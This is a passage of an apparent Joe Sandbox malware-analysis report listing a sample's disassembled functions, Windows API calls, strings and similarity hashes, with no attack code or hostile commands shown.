                                                                        • InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,002EAC5A,00000008,?,00000000,?,002ED22D,?,00000000), ref: 002F0E85
                                                                        • CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,002EAC5A,00000008,?,00000000,?,002ED22D,?,00000000), ref: 002F0E8F
                                                                        • CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,002EAC5A,00000008,?,00000000,?,002ED22D,?,00000000), ref: 002F0E9F
                                                                        Strings
                                                                        • Thread pool initialization failed., xrefs: 002F0EB7
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Create$CriticalEventInitializeSectionSemaphore
                                                                        • String ID: Thread pool initialization failed.
                                                                        • API String ID: 3340455307-2182114853
                                                                        • Opcode ID: aa9c1cdd9650fcc4bd016e519348fc00455eec93a156dff19eef13a12bf3205d
                                                                        • Instruction ID: 7642f8fdf5099302795dddcbc31e91c4eb2e01b15c0b7eeb7d2447df8329d3f6
                                                                        • Opcode Fuzzy Hash: aa9c1cdd9650fcc4bd016e519348fc00455eec93a156dff19eef13a12bf3205d
                                                                        • Instruction Fuzzy Hash: E11151B165070D9FC3215F669CC89A7FBECEB69784F148C3EF2DAC2201D6B199508B54
                                                                        Function 002E124F Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 47COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Malloc
                                                                        • String ID: (/$2/$A
                                                                        • API String ID: 2696272793-759458882
                                                                        • Opcode ID: e6354191938aeafff284b8f76ba7102edcc6ac122d4382cc3538ffb347fec5d4
                                                                        • Instruction ID: 01007de3aafee3b1737a804e1be450bc2b65426e12ce1484c1c3aeda4eb2b8d7
                                                                        • Opcode Fuzzy Hash: e6354191938aeafff284b8f76ba7102edcc6ac122d4382cc3538ffb347fec5d4
                                                                        • Instruction Fuzzy Hash: AF011B75901229ABCF15DFA5DC449DEBBF8EF09300F10416AE906E7200D774AA50CFA4
                                                                        Function 002FDCDD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: RENAMEDLG$REPLACEFILEDLG
                                                                        • API String ID: 0-56093855
                                                                        • Opcode ID: a2432d909043a6358d396adc308ddf4eb0350f2c3a0eedd88a6d1478d2b8ca6a
                                                                        • Instruction ID: c3d57fd357e5e47dc209bec2bb6dcad8bba5f9e775f9035586e3ae22157814f3
                                                                        • Opcode Fuzzy Hash: a2432d909043a6358d396adc308ddf4eb0350f2c3a0eedd88a6d1478d2b8ca6a
                                                                        • Instruction Fuzzy Hash: 2E01B53B51524DAFD7226F55FC44AAABBAEF759384F004039FA05C3230CA309861DBA0
                                                                        Function 002E1316 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 002EE2E8: _swprintf.LIBCMT ref: 002EE30E
                                                                          • Part of subcall function 002EE2E8: _strlen.LIBCMT ref: 002EE32F
                                                                          • Part of subcall function 002EE2E8: SetDlgItemTextW.USER32(?,0031E274,?), ref: 002EE38F
                                                                          • Part of subcall function 002EE2E8: GetWindowRect.USER32(?,?), ref: 002EE3C9
                                                                          • Part of subcall function 002EE2E8: GetClientRect.USER32(?,?), ref: 002EE3D5
                                                                        • GetDlgItem.USER32(00000000,00003021), ref: 002E135A
                                                                        • SetWindowTextW.USER32(00000000,003135F4), ref: 002E1370
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ItemRectTextWindow$Client_strlen_swprintf
                                                                        • String ID: /$0
                                                                        • API String ID: 2622349952-1201795122
                                                                        • Opcode ID: ce2ebdec7a3645909878c9c5c8ade8694d3f05a502d3ca8fda452621c5be0374
                                                                        • Instruction ID: 9e0855fc2c5ecb71d43eb0ba5c8635f8e5e00acbe976ee8e879bb173e8c64a33
                                                                        • Opcode Fuzzy Hash: ce2ebdec7a3645909878c9c5c8ade8694d3f05a502d3ca8fda452621c5be0374
                                                                        • Instruction Fuzzy Hash: C5F0AF741A42C9AADF161F628C0DBEA3B5DAF05344F4482A4FD44559E1CB74C9B0EA10
                                                                        Function 00309A1E Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: __alldvrm$_strrchr
                                                                        • String ID:
                                                                        • API String ID: 1036877536-0
                                                                        • Opcode ID: bd80df88fd36397a74f1d09f46f498bd400f42511a2e95d334d89abd8e93371a
                                                                        • Instruction ID: 2e847a93502b159216e3f8144a7c80f9abf61390b0de41adc51a30b5f3442562
                                                                        • Opcode Fuzzy Hash: bd80df88fd36397a74f1d09f46f498bd400f42511a2e95d334d89abd8e93371a
                                                                        • Instruction Fuzzy Hash: 1DA11672E062869FEB27CF18C8A17AEBBE5EF55310F19456EE5859B2C2C2388941C750
                                                                        Function 002EA354 Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,002E7F69,?,?,?), ref: 002EA3FA
                                                                        • CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,?,00000800,?,002E7F69,?), ref: 002EA43E
                                                                        • SetFileTime.KERNEL32(?,00000800,?,00000000,?,?,00000800,?,002E7F69,?,?,?,?,?,?,?), ref: 002EA4BF
                                                                        • CloseHandle.KERNEL32(?,?,?,00000800,?,002E7F69,?,?,?,?,?,?,?,?,?,?), ref: 002EA4C6
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: File$Create$CloseHandleTime
                                                                        • String ID:
                                                                        • API String ID: 2287278272-0
                                                                        • Opcode ID: ae0fcd9e7a9973f019ad61146622d7f75b1348ede260954d44126fd2176db398
                                                                        • Instruction ID: a2ecfa344692b1c4604c1ba890b4aa317fefcb7e969f2a88d8a3d05c39e3b551
                                                                        • Opcode Fuzzy Hash: ae0fcd9e7a9973f019ad61146622d7f75b1348ede260954d44126fd2176db398
                                                                        • Instruction Fuzzy Hash: 6541EE312983C29AD721DF25DC45FAFBBE8AB84300F44495DB5D1971C0C6A4AA189B53
                                                                        Function 0030C988 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,003091E0,?,00000000,?,00000001,?,?,00000001,003091E0,?), ref: 0030C9D5
                                                                        • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0030CA5E
                                                                        • GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00306CBE,?), ref: 0030CA70
                                                                        • __freea.LIBCMT ref: 0030CA79
                                                                          • Part of subcall function 00308E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0030CA2C,00000000,?,00306CBE,?,00000008,?,003091E0,?,?,?), ref: 00308E38
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ByteCharMultiWide$AllocateHeapStringType__freea
                                                                        • String ID:
                                                                        • API String ID: 2652629310-0
                                                                        • Opcode ID: 8f5df501e8cb7409ea0a7d3f8803622a498dd548a1aa5b9baaff0c05a9e351cd
                                                                        • Instruction ID: d03ea5ad8f169600309d3589d528cf465edd93f1069fcb7a18304a8eb379d41d
                                                                        • Opcode Fuzzy Hash: 8f5df501e8cb7409ea0a7d3f8803622a498dd548a1aa5b9baaff0c05a9e351cd
                                                                        • Instruction Fuzzy Hash: F831AD72A1120AABDB26DF64DC65DEF7BA9EB45310F054228FC04EA290EB35CD50CB90
                                                                        Function 002FA663 Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetDC.USER32(00000000), ref: 002FA666
                                                                        • GetDeviceCaps.GDI32(00000000,00000058), ref: 002FA675
                                                                        • GetDeviceCaps.GDI32(00000000,0000005A), ref: 002FA683
                                                                        • ReleaseDC.USER32(00000000,00000000), ref: 002FA691
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: CapsDevice$Release
                                                                        • String ID:
                                                                        • API String ID: 1035833867-0
                                                                        • Opcode ID: eacd04c380ff5ede670ff7497cc3fb8ca26a0796db6eb287b4faee41ac513413
                                                                        • Instruction ID: 5aca886bdb7e4da8ea1979672e9d9d77760dafe6f5a9d04bfed6ad294b940092
                                                                        • Opcode Fuzzy Hash: eacd04c380ff5ede670ff7497cc3fb8ca26a0796db6eb287b4faee41ac513413
                                                                        • Instruction Fuzzy Hash: DEE08C35942722A7C3226B60AC0DB8A3E2CAB16B92F400300FA069B190DFA496008BA0
                                                                        Function 002FD06A Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 278COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _wcschr
                                                                        • String ID: .lnk$d/
                                                                        • API String ID: 2691759472-246550641
                                                                        • Opcode ID: 9863ba5642e0e1ad6c6cfbf9228bcbba32851d8281f11e85e86a2a058469a782
                                                                        • Instruction ID: 5054b5db67e15fb0045093286ba61227f2a16f59b0c88b67bb9f3f3d7ff70b38
                                                                        • Opcode Fuzzy Hash: 9863ba5642e0e1ad6c6cfbf9228bcbba32851d8281f11e85e86a2a058469a782
                                                                        • Instruction Fuzzy Hash: 1FA1617281012E96DF25DBA0CD45EFBB3FDAF44344F0485A6B609E7141EE749B948F60
                                                                        Function 0030B1B8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • _free.LIBCMT ref: 0030B324
                                                                          • Part of subcall function 00309097: IsProcessorFeaturePresent.KERNEL32(00000017,00309086,00000050,00313A34,?,002ED710,00000004,00321030,?,?,00309093,00000000,00000000,00000000,00000000,00000000), ref: 00309099
                                                                          • Part of subcall function 00309097: GetCurrentProcess.KERNEL32(C0000417,00313A34,00000050,00321030), ref: 003090BB
                                                                          • Part of subcall function 00309097: TerminateProcess.KERNEL32(00000000), ref: 003090C2
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Process$CurrentFeaturePresentProcessorTerminate_free
                                                                        • String ID: *?$.
                                                                        • API String ID: 2667617558-3972193922
                                                                        • Opcode ID: 24177f1303fc0c2b907af2c7b7eb43e02322faf7c38b9a999d5b9cde15d1856f
                                                                        • Instruction ID: aeb21d0942f5e4222bb74d2dcd58a3bc5e87787c4b46b866b7806786018c2e82
                                                                        • Opcode Fuzzy Hash: 24177f1303fc0c2b907af2c7b7eb43e02322faf7c38b9a999d5b9cde15d1856f
                                                                        • Instruction Fuzzy Hash: EB518175E0110AEFDF16DFA8C891AADF7B9EF58310F2541A9E854E7381E7319E018B50
                                                                        Function 002E75DE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137timeCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • __EH_prolog.LIBCMT ref: 002E75E3
                                                                          • Part of subcall function 002F05DA: _wcslen.LIBCMT ref: 002F05E0
                                                                          • Part of subcall function 002EA56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 002EA598
                                                                        • SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 002E777F
                                                                          • Part of subcall function 002EA4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,002EA325,?,?,?,002EA175,?,00000001,00000000,?,?), ref: 002EA501
                                                                          • Part of subcall function 002EA4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,002EA325,?,?,?,002EA175,?,00000001,00000000,?,?), ref: 002EA532
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: File$Attributes$CloseFindH_prologTime_wcslen
                                                                        • String ID: :
                                                                        • API String ID: 3226429890-336475711
                                                                        • Opcode ID: cac2110917f4c7ef7ece5e0f9426a16ea7ab2e0b999b0963f8001a4a22b0943b
                                                                        • Instruction ID: 83e92459f2af909a8926f866268701a0dec99902c21ece9a69789b67d08c5609
                                                                        • Opcode Fuzzy Hash: cac2110917f4c7ef7ece5e0f9426a16ea7ab2e0b999b0963f8001a4a22b0943b
                                                                        • Instruction Fuzzy Hash: 1A418371851198A9EF25EB65CC59EEEB37CAF55300F8040A6B609A3092DB745FA4CF70
                                                                        Function 002EB37A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 127COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _wcschr
                                                                        • String ID: *
                                                                        • API String ID: 2691759472-163128923
                                                                        • Opcode ID: 93fb3ffceadfe66f257912e6bcf1ed435d776eb04b0c18f792661ff1e73cc1ca
                                                                        • Instruction ID: d8d7dfa84e6f21c36da3ba02c84a4dba9c32fd4e811cb9210ac73d545ab7f781
                                                                        • Opcode Fuzzy Hash: 93fb3ffceadfe66f257912e6bcf1ed435d776eb04b0c18f792661ff1e73cc1ca
                                                                        • Instruction Fuzzy Hash: 93316A261E43839ADB329E478932A7773E8DF95B10FD4801DF984470C3E7628C619361
                                                                        Function 002FB48E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _wcslen
                                                                        • String ID: }
                                                                        • API String ID: 176396367-4239843852
                                                                        • Opcode ID: da5eb472401f15ad0d1f4df4a037e7cba1a2b5b98a7272b176a5892f9de096d6
                                                                        • Instruction ID: 5e045cd4c2d93c84e06c307e505ade3b0c9ce357fae8ebb1ada5e101b7cf5a42
                                                                        • Opcode Fuzzy Hash: da5eb472401f15ad0d1f4df4a037e7cba1a2b5b98a7272b176a5892f9de096d6
                                                                        • Instruction Fuzzy Hash: EB21DE7292530E5AD733AE64D945A7AF3ECDF90790F44043AF640C7241EB69996883A2
                                                                        Function 002EF344 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 002EF2C5: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 002EF2E4
                                                                          • Part of subcall function 002EF2C5: GetProcAddress.KERNEL32(003281C8,CryptUnprotectMemory), ref: 002EF2F4
                                                                        • GetCurrentProcessId.KERNEL32(?,?,?,002EF33E), ref: 002EF3D2
                                                                        Strings
                                                                        • CryptUnprotectMemory failed, xrefs: 002EF3CA
                                                                        • CryptProtectMemory failed, xrefs: 002EF389
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AddressProc$CurrentProcess
                                                                        • String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
                                                                        • API String ID: 2190909847-396321323
                                                                        • Opcode ID: fe89dec0ca47227a5f570e2613180245a77913264d1a19411bd5fcba0a364b09
                                                                        • Instruction ID: a8e12c4015f2754ba56b55877445150f2a62a436bc69644c088a7afbfabcb138
                                                                        • Opcode Fuzzy Hash: fe89dec0ca47227a5f570e2613180245a77913264d1a19411bd5fcba0a364b09
                                                                        • Instruction Fuzzy Hash: 5C11AF326512E56BDF165F33DE056AE3718FF04750F4081A6FC055B291CB709D228B80
                                                                        Function 002F101F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • CreateThread.KERNEL32(00000000,00010000,002F1160,?,00000000,00000000), ref: 002F1043
                                                                        • SetThreadPriority.KERNEL32(?,00000000), ref: 002F108A
                                                                          • Part of subcall function 002E6C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 002E6C54
                                                                          • Part of subcall function 002E6DCB: _wcschr.LIBVCRUNTIME ref: 002E6E0A
                                                                          • Part of subcall function 002E6DCB: _wcschr.LIBVCRUNTIME ref: 002E6E19
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
